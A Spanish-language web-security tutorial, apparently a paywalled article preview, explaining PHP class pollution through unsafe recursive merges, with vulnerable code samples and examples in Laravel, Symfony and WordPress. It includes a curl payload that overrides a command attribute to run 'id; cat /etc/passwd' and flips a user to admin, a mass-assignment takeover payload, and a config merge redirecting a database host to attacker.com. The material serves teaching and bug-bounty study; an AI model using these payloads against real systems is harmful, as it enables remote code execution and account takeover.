Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoPremium

PHP class pollution — el equivalente PHP de Prototype Pollution

Cómo PHP class pollution (vía recursive merge / object instantiation con user input) genera deserialization-like RCE en apps Laravel, Symfony, WordPress sin necesidad de gadget chains.

Gorka El Bochi11 de mayo de 202614 min

Respuesta rápida

PHP no tiene prototype global como JavaScript, pero sí tiene class pollution: si una app hace foreach para mergear input del usuario en un objeto existente (o array_merge_recursive con configs), atacante puede sobrescribir atributos de instancias y disparar gadgets internos (RCE via exec-attributes, auth bypass via role flip, SQLi via SQL builders). No se pueden override métodos (PHP no soporta dynamic method dispatch), pero atributos que fluyen a sinks peligrosos son suficiente.


Por qué PHP es distinto de JS/Python

AspectoJS prototype pollutionPython class pollutionPHP class pollution
Base class universalObject.prototypeobjectNo (stdClass no es base)
Pollution global single-shotNo — solo objeto-por-objeto
Override métodosNo — solo atributos
Escapar contextoNo
Pollute atributos
Pollute array keysN/A

La limitación clave: no hay base class universal. La pollution afecta solo a la instancia/clase concreta. Pero si la app tiene un objeto de configuración global (Service Container en Laravel, ContainerBuilder en Symfony, $wp_config en WP), la pollution de ese único objeto basta.


El patrón vulnerable canónico

php
function merge($baseObject, $userInput) {
    foreach ($userInput as $key => $value) {
        $baseObject->$key = $value;
    }
    return $baseObject;
}

$config = new AppConfig();
$userJson = json_decode(file_get_contents('php://input'));
$mergedConfig = merge($config, $userJson);
$mergedConfig->doSomething();

$userJson es controlado por el atacante. El foreach asigna cualquier propiedad. PHP no diferencia entre crear nuevo atributo y sobrescribir existente vía $obj->$dynamic_key.

Gadget: comando en atributo

php
class AppConfig {
    public $healthCheckCommands = ['ping -c 1 127.0.0.1'];
    public $username = 'guest';

    function healthCheck() {
        foreach ($this->healthCheckCommands as $cmd) {
            passthru($cmd);  // ← sink
        }
    }

    function isAdmin() {
        return $this->username === 'admin';
    }
}

Exploit:

bash
curl -X POST http://target/api/config \
  -H 'Content-Type: application/json' \
  -d '{"healthCheckCommands":["id; cat /etc/passwd"],"username":"admin"}'

Resultado: RCE (vía override de healthCheckCommands) + auth bypass (username ahora es admin). En una sola request.


Variantes de merge vulnerables

Built-in array_merge con casting

php
function merge($base, $input) {
    return (object) array_merge((array) $base, (array) $input);
}

Problema añadido: convierte a stdClass y los métodos originales se pierden. Útil para auth bypass (sobrescribir atributos), no para RCE via método.

Foreach manual (el más explotable)

php
function merge($base, $input) {
    foreach ($input as $k => $v) $base->$k = $v;
    return $base;
}

Preserva la clase y métodos → cualquier método interno que use atributos polluted dispara el gadget.

Clone + foreach

php
function merge($base, $input) {
    $obj = clone $base;
    foreach ($input as $k => $v) $obj->$k = $v;
    return $obj;
}

Mismo impacto, solo cambia que no muta el original.

array_merge_recursive en arrays

php
$config = ['db' => ['host' => 'localhost', 'pass' => 'secret']];
$user = json_decode($input, true);  // ← associative array
$merged = array_merge_recursive($config, $user);

Atacante envía {"db":{"host":"attacker.com","pass":"override"}} → el merge recursivo profundo sobrescribe. Patrón común en endpoints que aceptan settings JSON.


Frameworks reales — dónde buscar

Laravel — mass assignment

php
// Eloquent Model
$user->fill($request->all());
$user->save();

Si el modelo no tiene $fillable definido o tiene $guarded = [], cualquier columna se asigna desde el request. Atacante envía:

json
{"email":"victim@target.com","password":"pwned","is_admin":true,"email_verified_at":"2020-01-01"}

Resultado: ATO + role escalation. Bug class clásico de Laravel; bounty $2000-5000 en programs grandes con eloquent mass assignment.

Laravel — Service Container

php
app()->instance('mailer.config', $userControlledConfig);

Si el atacante puede llamar app()->instance(...) (rare, requiere endpoint que delegue) o si hay merge de config:

php
config()->set($key, $value);  // $key/$value desde request

Con config()->set('app.cipher', 'attacker_string') puede romper cifrado de sesiones o forzar cifrados débiles.

Symfony — ContainerBuilder

php
$container->set('cache.adapter.redis', $userInput);

Reemplaza un servicio del container. Si después algún componente lo usa, atacante intercepta.

WordPress — wp_parse_args

php
$defaults = ['post_type' => 'post', 'numberposts' => 5];
$args = wp_parse_args($_GET, $defaults);
WP_Query($args);

wp_parse_args es el "merge" oficial de WP. Atacante envía ?post_type=any&meta_query[0][key]=...&meta_query[0][value]=... y construye queries arbitrarias. SQLi vía pollution de args.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Practica esto en un lab

Prototype Pollution Explotacion

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados